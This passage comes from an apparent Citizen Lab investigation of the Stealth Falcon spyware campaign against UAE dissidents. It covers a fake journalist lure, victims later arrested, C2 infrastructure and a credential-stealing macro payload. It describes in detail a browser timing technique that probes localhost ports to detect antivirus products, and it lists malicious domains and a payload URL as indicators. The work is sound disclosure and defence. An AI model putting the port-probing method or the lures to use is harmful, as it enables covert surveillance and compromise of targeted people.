Interestingly, aax.me also attempts to determine the presence of various antivirus products on a target\xe2\x80\x99s machine. We expand on the probing of antivirus programs which we observed on aax.me, as we were unfamiliar with this technique. The technique appears to work on any modern version of Windows, with the latest versions of Chrome, Firefox, and IE/Edge (though, the profiling script excludes IE versions less than IE9 from the profiling, using the vertical tab test).31 Specifically, the script conducts GET XMLHttpRequests (one at a time) to 127.0.0.1/ on the following ports: 12993, 44080, 24961, 1110, 6646, 6999, 30606. The script stops conducting these requests if it finds one request whose readyState is set to 4 less than 20ms after the request was initiated (200ms for port 6646), and submits the number of this port to the server. The latest versions of Internet Explorer/Edge, Chrome, and Firefox (except Tor Browser) will all perform these XMLHttpRequests to 127.0.0.1 on behalf of any site. Of course, the result of such a request will most likely not be available to the script, due to the same-origin policy, and likely absence of a CORS32 header in the response. Indeed, the script does not attempt to read the results of its requests. Rather, it leverages the fact that the web browser makes the status of the request sent available, via the readyState parameter of an XMLHttpRequest instance (1 approximately represents TCP SYN sent, and 4 represents HTTP response received or TCP connection terminated). For a closed port, Windows will issue an RST/ACK for each SYN sent. However, it appears that Windows\xe2\x80\x99 TCP stack will not consider an outgoing connection it is initiating to be terminated until it has sent 3 SYNs, and received three corresponding RST/ACKs (or timeouts). image07 Figure 7: Three RST/ACKs required until Windows considers outgoing TCP connection terminated When testing with a TCP connection from Windows to a remote host, we can clearly see that Windows transmits the second SYN ~500ms after the first RST/ACK, and the third SYN ~500ms after the second RST/ACK. image04 Figure 8: Windows sends the next SYN 500ms after the latest RST/ACK Thus, the readyState value for a request to a closed port on 127.0.0.1 will not be set equal to 4 until approximately 1000ms after the request is issued. In summary, one can use this technique to distinguish between a closed port (readyState set to 4 at around 1000ms), an open port (readyState set to 4 before 1000ms), and a filtered port (readyState set to 4 long after 1000ms). This script was apparently designed to detect the presence of certain components of Avast, Avira, ESET, Kaspersky, and Trend Micro antivirus products. We were not able to determine which program the probing of port 24961 was designed to detect. We verified that the latest version of Avast can be detected by this script, as it opens TCP port 12993, which is associated with its Mail Shield component for scanning email traffic; port 6999 is opened by Trend Micro\xe2\x80\x99s tmproxy33 which scans web and email traffic; port 1110 is used by Kaspersky34 to scan web and email traffic; it appears that Avira\xe2\x80\x99s Web Protection component for scanning web traffic used to open port 44080,35 though we observed it opening 44081 instead; port 30606 appears to have been used by ESET to scan web and email traffic,36 but we did not observe this port open while testing the latest version of ESET; port 6646 may be used by McAfee, though we did not test this.37 The code for the port scanning appears to be adapted from the JS-Recon port scanning tool.38 JS-Recon is a generic tool that enumerates all open ports on 127.0.0.1 in a range; it does not specifically target anti-virus programs. The scan_xhr and check_ps_xhr functions in the aax.me profiling script are similar to the scan_ports_xhr and check_ps_xhr functions in JS-Recon. The creator of JS-Recon seems to have first presented the tool at BlackHat Abu Dhabi in 2010.39 image09 Figure 9: Image from the author of JS-Recon showing how long WebSocket and XMLHttpRequest (\xe2\x80\x9cCOR\xe2\x80\x9d) connections remain in their initial readyState on Windows.40 Note that this technique can be generalized to any remote content timing side channel (e.g, the onerror event for an Image). Additionally, one can identify the presence of an open port on 127.0.0.1 that speaks HTTP without using timing information, and thus without the Windows TCP behavior assumption (e.g., by handling the onerror and oncomplete events of certain types of link elements). We are unsure whether the purpose of the antivirus profiling is to identify potentially exploitable antivirus software running on a target\xe2\x80\x99s computer, or for evasion of antivirus products. In December 2015, Google Security discovered a critical vulnerability in Avast\xe2\x80\x99s antivirus product, which involved a webpage sending HTTP requests to a port that Avast opens on 127.0.0.1. Google Security demonstrated that the vulnerability allowed exfiltration of arbitrary files from a victim\xe2\x80\x99s disk.41 In January 2016, Google Security discovered a critical vulnerability in Trend Micro\xe2\x80\x99s antivirus product, which similarly involved a web page sending HTTP requests to a port that Trend Micro opens on 127.0.0.1. Google Security demonstrated that the vulnerability allowed arbitrary command execution. 4. The Case of the Fake Journalist In the course of our investigation we scanned the e-mail of journalist Donaghy and found evidence that he had been contacted by a fictitious journalist, whom we linked to Stealth Falcon. We scanned Donaghy\xe2\x80\x99s GMail account for any previous messages featuring links that redirected through aax.me. We identified the following message from December 2013, purporting to be from a UK journalist named Andrew Dwight: From: andrew.dwight389@outlook.com Subject: FW: Correspondence RequestGreetings Mr. Donaghy,I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient. My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East. My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything but). I was hoping that I might correspond with you and reference some of your work, specifically this piece (http://goo.gl/60HAqJ), for the book. I\xe2\x80\x99m quite impressed with the way you articulate this complex issue for the masses, and hope to have a similar impact with my book. Happy New Year, Andrew The link in the email, http://goo.gl/60HAqJ, redirects to http://aax.me/0b152, which, as of December 2015, redirected to a 2013 Huffington Post blog post authored by Donaghy.42 We did not observe any redirect.php behavior with this link; as of December 2015, the aax.me link directly served an HTTP 302 redirect to the Huffington Post (we omitted the date header below). However, it is possible that the link formerly exhibited redirect.php behavior: HTTP/1.1 302 Moved Temporarily Date: Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1+lenny13 Location: http://www.huffingtonpost.co.uk/rori-donaghy/uae-94_b_3549671.html Vary: Accept-Encoding Content-Type: text/html We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in the UK. Andrew responded several weeks later with the following: From: andrew.dwight389@outlook.com Subject: RE: Correspondence RequestHello Rori,Happy New Year! I apologize for the delay in getting back to you. I was on a ski holiday in upstate New York for the New Year and just returned to my current accommodations in the city. I was due back sooner, but as you may know, the weather has not been agreeable here in the Eastern United States! I am currently situated in the US. while I complete my book to be closer to my publisher and editor. The book focuses on the various guises used by Middle Eastern countries to demonstrate that they are providing equal and fair treatment with concern to human rights. I am working with several organizations in identifying cases that reveal their true lack of concern for liberty and personal freedoms. I\xe2\x80\x99m using these cases as testimony about this under reported issue. Have you heard of a Swedish organization named Al Karama? There website: http://en.alkarama.org/index.php?option=com_content&view=article&id=1005&Itemid=74&slid=102 I have spoken to one of their junior editors and I am hoping to obtain input from some of their sources as well. This issue never gets any smaller does it? I hope that a few loud voices (and a well received book) can make a difference. Cheers, Andrew While attempting to determine whether \xe2\x80\x9cAndrew Dwight\xe2\x80\x9d was a real person, we we found a Twitter profile, @Dwight389 for the same persona, and that mentions the same address from which Donaghy received the email. dwight389 Figure 10: Andrew Dwight\xe2\x80\x99s Twitter profile, @Dwight389, mentioning the email address that corresponded with Donaghy in 2013, andrew.dwight389@outlook.com We found that this account messaged three UAE dissident accounts via Twitter mentions. While we were unable to establish if @Dwight389 successfully attacked any of these individuals, we profile the targets below. 4.1. Another Target: Obaid Yousef Al-Zaabi This section describes how the fake journalist persona contacted Obaid Yousef Al-Zaabi, a blogger who was arrested for criticising the UAE. image05 Figure 11: @Dwight389 contacted @bukhaledobaid on 24 April 2013 Obaid Yousef Al-Zaabi was arrested on 2 July 201343 for Tweeting about the UAE94 detainees (94 defendants prosecuted in a mass trial on charges of attempting to overthrow the government)44 on his @bukhaledobaid account, which displays his real name.45 He was released due to health problems a month later, but was arrested again on 12 December 2013,46 a day after talking to CNN47 about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video48 about \xe2\x80\x9cyouth culture in Dubai\xe2\x80\x9d.49 Al-Zaabi and Cassim were imprisoned in the same cellblock. Al-Zaabi was acquitted on 23 June 2014 of all charges including \xe2\x80\x9cslander concerning the rulers of the UAE using phrases that lower their status, and accusing them of oppression\xe2\x80\x9d and \xe2\x80\x9cdisseminating ideas and news meant to mock and damage the reputation of a governmental institution,\xe2\x80\x9d but, according to information received from two UAE sources, Al-Zaabi is still imprisoned in the prisoners ward of a hospital. A coalition of 13 human rights organizations including Amnesty International consider Al-Zaabi\xe2\x80\x99s ongoing detention to be arbitrary, and without legal basis.50 Amnesty International reported that \xe2\x80\x9ca senior State Security Prosecution official\xe2\x80\x9d told Al-Zaabi he would continue to be detained even if acquitted.51 Al-Zaabi\xe2\x80\x99s brother, Dr. Ahmed Al-Zaabi, is one of the UAE94 detainees and is currently serving a 10 year prison sentence. According to a report by the Gulf Center for Human Rights, Ahmed was tortured in prison: his fingernails were pulled out, and he was \xe2\x80\x9cbeaten to the point he was left swollen, covered in bruises all over his body and with large amounts of blood in his urine\xe2\x80\x9d.52 4.2. Another Target:Professor Abdullah Al-Shamsi This section describes how the fake journalist persona contacted professor Abdullah Al-Shamsi, Vice Chancellor of the British University in Dubai. image17 Figure 12: @Dwight389 sent a message on 9 May 2013 suggesting he had targeted @shamsiuae58 Professor Abdullah Al-Shamsi (@shamsiuae58) is the Vice Chancellor of the British University in Dubai.53 He (Arabic name: \xd8\xa3.\xd8\xaf.\xd8\xb9\xd8\xa8\xd8\xaf\xd8\xa7\xd9\x84\xd9\x84\xd9\x87 \xd9 \xd8\xad\xd9 \xd8\xaf \xd8\xb1\xd8\xad\xd9 \xd8\xa9 \xd8\xa7\xd9\x84\xd8\xb4\xd8\xa7\xd9 \xd8\xb3\xd9\x8a)54 is signatory #79 (out of 133) to a March 2011 petition to the UAE government55 for direct elections56 (UAE activist Ahmed Mansoor was arrested after signing the same petition).57 Al-Shamsi\xe2\x80\x99s father (\xd9 \xd8\xad\xd9 \xd8\xaf \xd8\xa8\xd9\x86 \xd8\xb1\xd8\xad\xd9 \xd8\xa9 \xd8\xa7\xd9\x84\xd8\xb9\xd8\xa7\xd9 \xd8\xb1\xd9\x8a \xd8\xa7\xd9\x84\xd8\xb4\xd8\xa7\xd9 \xd8\xb3\xd9\x8a) was appointed to, and chaired the first sessions of, the Federal National Council (FNC), a legislative advisory council that is now an elected body. He called for more powers to be given to the FNC.58 4.3. Additional Targets: Qatari Citizens Sentenced to Prison image06 Figure 13: @Dwight389 contacted @northsniper on 7 November 2013 In May 2015, five Qataris were sentenced (one present in the UAE to 10 years in prison, and four in absentia to life in prison), for posting allegedly offensive pictures of the UAE Royal Family on three Twitter accounts and two Instagram accounts,59 including @northsniper.60 At trial, the prosecution accused the five of being agents of Qatar\xe2\x80\x99s State Security, and posting the allegedly offensive pictures as part of a \xe2\x80\x9cmilitary mission\xe2\x80\x9d to \xe2\x80\x9cshow that Emiratis had offended their own leaders\xe2\x80\x9d.61 The @northsniper account is currently suspended. One Instagram account allegedly used by defendants in this case (@9ip) is still active, and still appears to display unflattering photoshopped images of the President, Crown Prince, and Founder of the UAE.62 5. Stealth Falcon\xe2\x80\x99s Widespread Targeting of UAE Figures This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon\xe2\x80\x99s spyware to additional C2 servers. Given Stealh Falcon\xe2\x80\x99s use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of aax.me links. The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently active short URLs, and their corresponding long URLs. Our findings point to a UAE-focused operator, whose bait content and targets are linked to the Emirates. Furthermore, we were able to connect this attack to case from December 2012, where an anonymous UAE activist contacted us and claimed to have received a suspicious link from a Twitter account that was purportedly under government control. 5.1. Public Targets and Links to Arrests This section describes 24 Stealth Falcon Twitter targets we identified on the basis of them receiving an aax.me link in a Twitter mention. We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link. We were unable to get details about 17 of the accounts. Of the accounts we have been able to identify, several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities. The following table outlines these cases, and notes arrests. For completeness, the table includes the cases from Section 4.1-4.3: Handle Targeting Related Arrests / Convictions Note @omran83 14 January 201263 16 July 201264 (arrested) UAE94 prisoner; serving 7 years in prison.65 @weldbudhabi 5 August 2012;66 20 October 201267 14 December 201268 (arrested) @intihakat 5 August 201269 25 December 201370 (convicted) Qatari convicted in absentia; sentenced to 5 years in prison. @bukhaledobaid (Sec 4.1) 24 April 201371 2 July 2013;72 12 December 201373 (arrested) Brother of UAE94 prisoner; acquitted of charges; indefinitely detained in prisoners ward of hospital. @northsniper (Sec 4.3) 7 November 201374 18 May 201575 (convicted) Five Qataris convicted; sentences ranged from 10 years to life in prison. @71UAE 9 January 201276 Last tweeted 1 July 2013, a day before arrest of @bukhaledobaid. @kh_oz 10 January 201277 Likely son of @bukhaledobaid.78 @shamsiuae58 (Sec 4.2) 9 May 201379 Signed 2011 pro-democracy petition that Ahmed Mansoor was arrested after signing. @newbedon 9 January 201280 Donaghy describes the account as \xe2\x80\x9censur[ing that] details of mistreatment [by security forces] are readily available\xe2\x80\x9d.81 @bomsabih 9 January 201282 Inactive since 8 October 2014. Owner claimed affiliation with State Security Apparatus. We list additional details in Appendix D: Public Stealth Falcon Tweets. 5.2. Ennumerating aax.me for Bait Content This section describes how we probed every conceivable short URL on aax.me, and found 402 pieces of bait content that we believe were sent by Stealth Falcon. All of the public aax.me links we found, as well as the links sent to Donaghy, matched the regular expression /aax\\.me\\/[0-9a-f]{5}/. Assuming all links shortened via aax.me match this regular expression, there are only 165 (1,048,576) possible short URLs. We sent a request to aax.me for each possible URL, and observed the returned page or redirect. We found 57 URLs that exhibited the redirect.php profiling behavior, and 524 URLs that returned an HTTP 302 redirect to an expanded URL. The other 1,047,995 aax.me links returned a HTTP 302 redirect to the aax.me homepage; we assume these short URLs were unassigned to an expanded URL, as of the time of our scan. We coded the long URLs where the URLs were still active, or where we could find an archived copy of, or some information about, the URL. We were able to code 535 URLs, and failed to code 46 URLs as the corresponding websites were down, and we could not find reliable information about what content the URLs contained. See Appendix E: Results of aax.me Scan for details. We coded 133 URLs as \xe2\x80\x9cadvertisement\xe2\x80\x9d (25% of all coded URLs), as they appeared to represent an advertisement for a product. The vast majority of these advertisements seemed to be products typically marketed via spam (e.g., \xe2\x80\x9cdietary supplement\xe2\x80\x9d or \xe2\x80\x9cgreen coffee\xe2\x80\x9d). We suspect that these links may have been shortened by spammers, as the aax.me URL shortening page is pubilcly accessible and indexed by Google, and YOURLS advises that publicly accessible URL shorteners will receive spam.83 All \xe2\x80\x9cadvertisement\xe2\x80\x9d links were 302 redirects, and none were redirect.php links. This is consistent with our observation that the aax.me public interface only permits visitors to shorten links using the 302 redirect method. We filtered out the short URLs classified as \xe2\x80\x9cadvertisement.\xe2\x80\x9d There were 402 non-advertisement short URLs that we tagged. We display a summary of the top ten tags below: Tag Number of Short URLs % of non-advertisement URLs UAE 292 73% Torture 57 14% Security Forces 49 12% Denaturalization 46 11% Isa bin Zayed 42 10% Rule of Law 40 10% Criticism 40 10% ABC News 40 10% Violations 33 8% Islam 29 7% We noted that a number of long URLs had multiple corresponding short URLs. We display the top ten long URLs below. Long URL # Short URLs Description http://www.youtube.com/watch?v=F6NU4pc378k 40 ABC News report featuring video of Abu Dhabi Crown Prince\xe2\x80\x99s brother, Sheikh Isa bin Zayed al-Nahyan, torturing an Afghani grain salesman. http://mohaamoon.com/uae/17.htm 40 Personal website criticizing rule of law and human rights issues in the UAE, including torture, slavery, and imprisonment for debts. https://r7aluae2.wordpress.com/2012/01/09/\xd8\xa7\xd8\xaa\xd8\xad\xd8\xa7\xd8\xaf-\xd8\xa7\xd9\x84\xd9 \xd9\x86\xd8\xb8\xd9 \xd8\xa7\xd8\xaa-\xd8\xa7\xd9\x84\xd8\xa5\xd8\xb3\xd9\x84\xd8\xa7\xd9 \xd9\x8a\xd8\xa9-\xd9\x81\xd9\x8a-\xd8\xa3\xd9\x88\xd8\xb1\xd9\x88\xd8\xa8\xd8\xa7-\xd9\x8a\xd8\xb3/ 19 Copied statement from the Federation of Islamic Organizations in Europe (FIOE), criticizing the UAE\xe2\x80\x99s denaturalization of citizens. https://www.a7rarelemarat.com/vb 10 Purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools. The site is now down, so we cannot inspect the specific forum posting. http://google.com 9 Google. https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 6 (see a7rarelemarat above) http://www.youtube.com/watch?v=Xcc9Tdc_Hxg&feature=player_embedded#! 5 Video montage talking about torture by UAE security forces. http://www.youtube.com/watch?v=izeSn9Am6us&list=UU2wwG6r1J_GRgXuMGi9m8FQ&index=1&feature=plcp 5 Video unavailable. https://www.youtube.com/watch?feature=player_embedded&v=Q3aQpfyXSrg 5 Video published by Al Islah, which appears to be a montage of UAE political detainees. https://www.a7rarelemarat.com/vb/forumdisplay.php?f=3 5 (see a7rarelemarat above) 5.3. A Connection to an Account Potentially Under UAE Government Control This section describes a case from December 2012 where an Emirati activist said he received links connected to aax.me from an account that may have been under UAE government control. In December 2012, an author of this report was contacted by an Emirati activist, who reported that an account, @WeldBudhabi, had sent him a link on 14 December 2012 via Twitter direct message that took him to a page on a7rarelemarat.com. A report by BBC notes that UAE authorities on 14 December 2012 arrested an individual who they believed to be associated with @WeldBudhabi, and that the account was \xe2\x80\x9creportedly hacked by the authorities\xe2\x80\x9d on the same day.84 The Emirati activist told us that he later contacted @WeldBudhabi, who reported that he did not send the link. This link provides the strongest connection between Stealth Falcon and the UAE Authorities that we are aware of. a7rarelemarat.com is a now-defunct website that purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools for \xe2\x80\x9chiding from the thugs\xe2\x80\x9d (presumably a reference to the UAE State Security Apparatus). We found four links involving aax.me posted by the site\xe2\x80\x99s Twitter account, @a7rarelemarat. We display two Tweets below, as the rest of the Tweets had the same links: image00 Figure 14: @a7rarelemarat targeted @WeldBudhabi with a malicious link on 20 October 2012 Twitter\xe2\x80\x99s API records the date of the tweet\xe2\x80\x99s creation: Sun Oct 21 05:05:41 +0000 2012 We also accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than two minutes prior to the tweet: 2012-10-21T05:03:45.585+00:00 The second tweet exhibited a similar pattern: image11 Figure 15: @a7rarelemarat publicly sent a malicious link on 2 October 2012 Twitter\xe2\x80\x99s API records the date of the tweet\xe2\x80\x99s creation: Wed Oct 03 06:54:33 +0000 2012 We again accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than one minute prior to the tweet: 2012-10-03T06:53:45.151+00:00 The link redirects to https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 via http://aax.me/d910a. The use of both goo.gl and aax.me in these cases suggests that the goo.gl link may have been designed to conceal the aax.me domain. Also, the proximity in creation time between the Tweet and the goo.gl link suggests that the person who posted the Tweet through @a7rarelemarat was likely the same person who created the goo.gl link. We suspect that the aax.me operator had some control over @a7rarelemarat at the time, and may have had control of a7rarelemarat.com as well. 5.4. Infrastructure Analysis of Stealth Falcon Command & Control This section describes how we traced Stealth Falcon\xe2\x80\x99s spyware to live C2 servers and domain names. We fingerprinted the behavior of adhostingcache.com (the C2 server for the Stage One spyware that Donaghy received) and traced it to a series of 14 active IP adresses and 11 domains (using PassiveTotal85). Nine domains are named like generic Internet backend servers (e.g., simpleadbanners.com, clickstatistic.com), whereas two appear to be thematically related to travel (bestairlinepricetags.com, fasttravelclearance.com), perhaps indicative of travel-themed targeting or targets. We fingerprinted the behavior of incapsulawebcache.com (the C2 server for the Stage Two spyware that Donaghy receied) and scanned the Internet (including historical scanning results86) for servers that matched our fingerprint. We also used Passive DNS to correlate IP addresses to domains. In total, we associated 67 active (and 30 historical) IP addresses with the Stage Two spyware. Using PassiveTotal, we linked 69 domain names to these IP addresses, the earliest registered on 28 January 2013, and the most recent registered on 19 April 2016. The vast majority of the domains are named like generic Internet backend servers. One domain name appears to be travel-themed (airlineadverts.com), and two appear to be news and/or government themed (ministrynewschannel.com, ministrynewsinfo.com). The earliest date we found an IP addresses matching our Stage Two fingerprint was 21 July 2014, as recorded by sonar-ssl scans. It is possible that the operator used a different configuration of spyware between January 2013 and July 2014. We traced several additional domains to Stealth Falcon using WHOIS information, or Passive DNS. Of these, one was designed to impersonate a China-based provider of VoIP solutions (yeastarr.com), and two appeared to perhaps contain the Arabic word for security, \xe2\x80\x9camn,\xe2\x80\x9d (amnkeysvc.com, amnkeysvcs.com). Full scan results and other indicators of targeting can be found in Appendix F: Indicators of Targeting. The domain names we found were typically registered with WHOIS privacy providers. Although, in some cases, we were able to obtain the true registration email through historical WHOIS. Typically, the operators practiced disciplined operational security: we rarely found an email address that was used to register two domains, and we rarely found two domains linked to the same IP address. 5.5. May 2016: New Stealth Falcon Document In May 2016, the following document was submitted to VirusTotal: Filename: message_032456944343.docm MD5: 87e1df6f36b96b56186444e37e2a1ef5 SHA1: 1c3757006f972ca957d925accf8bbb3023550d1b SHA256: 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be The document was similar to the one sent to Donaghy, except that it purported to be encrypted with WordSecure, \xe2\x80\x9ca simple, HIPAA .. business-grade software for sharing encrypted files and secure messages with anyone\xe2\x80\x9d.87 The bait content was a single line of text reading: MESSAGE_ERROR: 0E684AD042_(LANGUAGE NOT SUPPORTED) The document\xe2\x80\x99s macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt. The server optimizedimghosting.com matched our Stage One fingerprint for adhostingcache.com. We obtained Stage Two, which appeared to be a newer version of the Stage Two than in Donaghy\xe2\x80\x99s case. The Stage Two in this case reported back to https://edgecacheimagehosting.com/images/image.nfo. The server edgecacheimagehosting.com matched our Stage Two fingerprint for incapsulawebcache.com. When we connected, the Stage Two server sent us additional commands (which we were unable to obtain in Donaghy\xe2\x80\x99s case). The Stage Two C2 sent us a bundle of 7 commands, that did the following: Gathered system info from WMI Gathered the ARP table Gathered a list of running processes Materialized a file \xe2\x80\x9cOracleJavaUpdater.ps1\xe2\x80\x9d to disk. This file gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook. In general, the file appears to be bespoke attacker code, though some routines are copied from other sources (e.g., some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT88) Executed \xe2\x80\x9cOracleJavaUpdater.ps1\xe2\x80\x9d Deleted \xe2\x80\x9cOracleJavaUpdater.ps1\xe2\x80\x9d Gathered a list of running processes again After command execution, results were returned to the Stage Two C2. 6. Tip of the Iceberg: Possibly Related Attacks We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the UAE. Reuse of tactics, techniques and procedures and general carelessness by operators can often lead to discovery of links between campaigns. We briefly discuss some instances of potentially related attacks below. 6.1. An Instagram attack? We noticed that one of the Twitter accounts that sent out aax.me links, @um_zainab123, solicited followers for an Instagram account @al7ruae2014. image14 Figure 16: @um_zainab123 soliciting followers for Instagram account @al7ruae2014 on 26 April 2014 image02 Figure 17: The @al7ruae2014 Instagram account We contacted an activist with knowledge of the UAE94 case, who told us that the @al7ruae2014 Instagram account got in touch with several family members of detainees involved in the case, and was soliciting information from them via Instagram private message. The domain name al7ruae2014.com has the same name as the Instagram account, so we suspect it may also be related to the operator. 6.2. A fake file sharing site? We identified one aax.me link (http://aax.me/4b708) that points to http://velocityfiles.com/download.php?id=a81abdd8a0c0cd1d5d3b6baadcc9eb18. We visited this link in February 2016, and were served a blank page. VelocityFiles appears to have been disabled in March 2016. We found that the site purported to be a file hosting site, where users could register and upload files. However, the registration and signup pages are currently blank, and were blank as of the Internet Archive\xe2\x80\x99s oldest capture of the pages in December 2013.89 We were unable to identify any links to velocityfiles.com from Twitter, or any pages indexed by Google. The design of VelocityFiles appeared to be a loosely modified version of a public website design template.90 Given that the site appears to be designed to pose as a public file sharing service, has no obvious public functionality, and was linked to through aax.me, we suspect that it may have been an attack site. image08 Figure 18: Comparison between web design template image (left) and VelocityFiles website (right). Given VelocityFiles\xe2\x80\x99 reference to \xe2\x80\x9cFREE MD5 HASHING\xe2\x80\x9d (their emphasis), it is possible that the value of the id parameter in the URL, a81abdd8a0c0cd1d5d3b6baadcc9eb18, represents the MD5 hash of a file. We were, however, unable to locate any file with this MD5 hash. 6.3. Fake web forums? We found an aax.me link91 that pointed to https://call4uaefreedom.com/vb. The domain was registered on 5/15/2013 and expired on 5/15/2015. We were unable to find any webpages or tweets linking to this website. A Google search for \xe2\x80\x9ccall4uaefreedom\xe2\x80\x9d reveals a blog, containing five posts, all within a 30 minute span on 4 June 2013, and an empty Twitter account @call4uaefreedom, created in May 2013. Given the suspicious activity associated with the alias \xe2\x80\x9ccall4uaefreedom,\xe2\x80\x9d this may have been created by operators. While searching for domains with similar domain names, we came across uaefreedom.com. The domain name was first registered on 11 June 2010 by the administrators of UAE Hewar,92 an online discussion forum founded in 2009 that was a frequent government target. The domain name expired on 11 June 2011, but was re-registered by a different registrant on 7 October 2012. On 16 October 2012, we find the only tweet linking to uaefreedom.com. A Google search yields no links to the site and we found no passive DNS data available for this domain. The tweet was sent from account @FreeUAE2012, directed at @uaemot. An individual based in Qatar was convicted in absentia on 25 December 2013 for running @uaemot.93 image03 Figure 19: @FreeUAE2012 contacts @uaemot with a suspicious link on 16 October 2012 Other public tweets involving @FreeUAE2012 included two responses94 from Ahmed Mansoor to @FreeUAE2012 on 10 October 2012, regarding the 10 October 2012 Citizen Lab report about how Ahmed Mansoor was targeted with Hacking Team spyware. The tweets from @FreeUAE2012 to which Ahmed Mansoor was responding appear to have been deleted. Three days later, @FreeUAE2012 attempted to convince Ahmed Mansoor that Tor Browser logged private information of its users, posting a screenshot of the Tor Metrics page, which provides non-sensitive data for researchers.95 image01 Figure 20: @FreeUAE2012 attempts to convince Ahmed Mansoor that Tor logs private information of its users 7. Attribution In this section, we analyze two competing hypotheses about the identity of Stealth Falcon, and conclude that the balance of evidence suggests Stealth Falcon may be linked to the UAE government. Hypothesis 1: Stealth Falcon is State Sponsored Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques against a potential target. The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns against UAE dissidents, starting in January 2012. While there is no \xe2\x80\x9csmoking gun,\xe2\x80\x9d several pieces of evidence suggest a connection between Stealth Falcon and the UAE Government. UAE Focused Targeting, Links to Arrests The majority (73%) of bait content on aax.me was focused on UAE-related political issues (Section 5.2). Furthermore, of the 27 victim Twitter accounts we linked to public Stealth Falcon targeting, 24 primarily engaged in political activities, or were otherwise critical of the UAE government (Section 5.1). Of these 24, we were able to find a subsequent arrest or a conviction in absentia by the UAE government. Tweets During a Period of Government Control A reported case in which a Twitter account apparently under UAE Government control shared a Stealth Falcon link also suggests a connection. In December 2012, an activist contacted us and asserted that an a7rarelemarat.com link was sent to him in a private message from the @WeldBudhabi account the same day that an individual accused of operating the account was arrested, and while the account was \xe2\x80\x9creportedly hacked by authorities\xe2\x80\x9d.96 The activist asserted that he contacted an owner of the account, who claimed he did not send that link. The Twitter account associated with a7rarelemarat.com, @a7rarelemarat, appears to have been under the control of Stealth Falcon at some point during October 2012 (and possibly before and after), as the account sent several aax.me links in October 2012. Sophisticated Target Knowledge and Operational Security Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets\xe2\x80\x99 behaviors. In addition, Stealth Falcon displayed above-average operational security throughout the campaign. Some of the social engineering was highly intricate, particularly the email from Andrew Dwight about his ski holiday. Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security. The infrastructure behind the malware attacks showed good compartmentalization of identities. We rarely found the same (fake) registration information used for more than one C2 domain. Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed. We also noted that the (self-signed) SSL certificates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart fingerprinting of their infrastructure via SSL certificates. This level of sophistication is consistent with a state sponsored attacker. Importantly, we found little evidence that indicate criminal or other motivation for the attack, with no evidence of financial or industry targeting. We also note that while some Stealth Falcon domains were registered on anonymousbitcoindomains.com, which is linked to APT28 activities, we found no evidence to support such a connection. See Appendix G: No Evidence of APT28 Connection for more details. Hypothesis 2: Stealth Falcon is Not State Sponsored We have considered the possibility that Stealth Falcon\xe2\x80\x99s operators are not state sponsored, but ultimately find little evidence to support this possibility. Stealth Falcon\xe2\x80\x99s attacks show no evidence of cyber criminal motivations, like financial theft or fraud, nor is there any evidence of attempts to steal intellectual property or conduct other forms of economic espionage. Instead, the targets are politically engaged individuals and public figures. Furthermore, the activity of targets we have been able to identify often concerns domestic UAE issues. Therefore, we would need to posit an operator with an interest in individuals known for their engagement in domestic UAE issues. Other potential motivations might include blackmail or extortion. If this were the case, however, we might expect follow-up interactions between attackers and successful victims, and we would also expect attackers to use off-the-shelf Remote Access Tools (RATs), rather than apparently coding a general-purpose RAT from scratch. This would save them the trouble of needing to load additional malware to exfiltrate files or other material. We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon\xe2\x80\x99s use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail. The strongest scenario for a non-state sponsored attacker is thus a politically motivated group. Stealth Falcon targets are primarily individuals known for their criticism of the UAE government. It is perhaps conceivable that a group of pro-government hackers might, without coordination, target these individuals. There are, however, several features of Stealth Falcon\xe2\x80\x99s activities that tell against this possibility. First, there is limited existing evidence that such autonomous groups exist and are active in the UAE. Given what is known about this kind of group, we might expect such a group to have engaged in defacements, public boasting, or other public-facing activities related to Stealth Falcon\xe2\x80\x99s campaign. Furthermore, it seems unlikely that a previously unknown political group would have the resources to develop and maintain Stealth Falcon\xe2\x80\x99s fictitious personas and compartmentalized infrastructure. Evaluation of Hypotheses We evaluated both hypotheses and found Hypothesis 1: Stealth Falcon is State Sponsored to be the best at explaining the many elements that we have observed. Stealth Falcon\xe2\x80\x99s tactics, resources, and targets all fit with the profile of a state sponsored attacker. Furthermore, the circumstantial evidence we have presented in this report is suggestive of a link between Stealth Falcon and an entity within the UAE Government. 8. Conclusion: The Big Picture Stealth Falcon appears to be a new, state sponsored threat actor. As an operator, Stealth Falcon is distinguished by well informed and 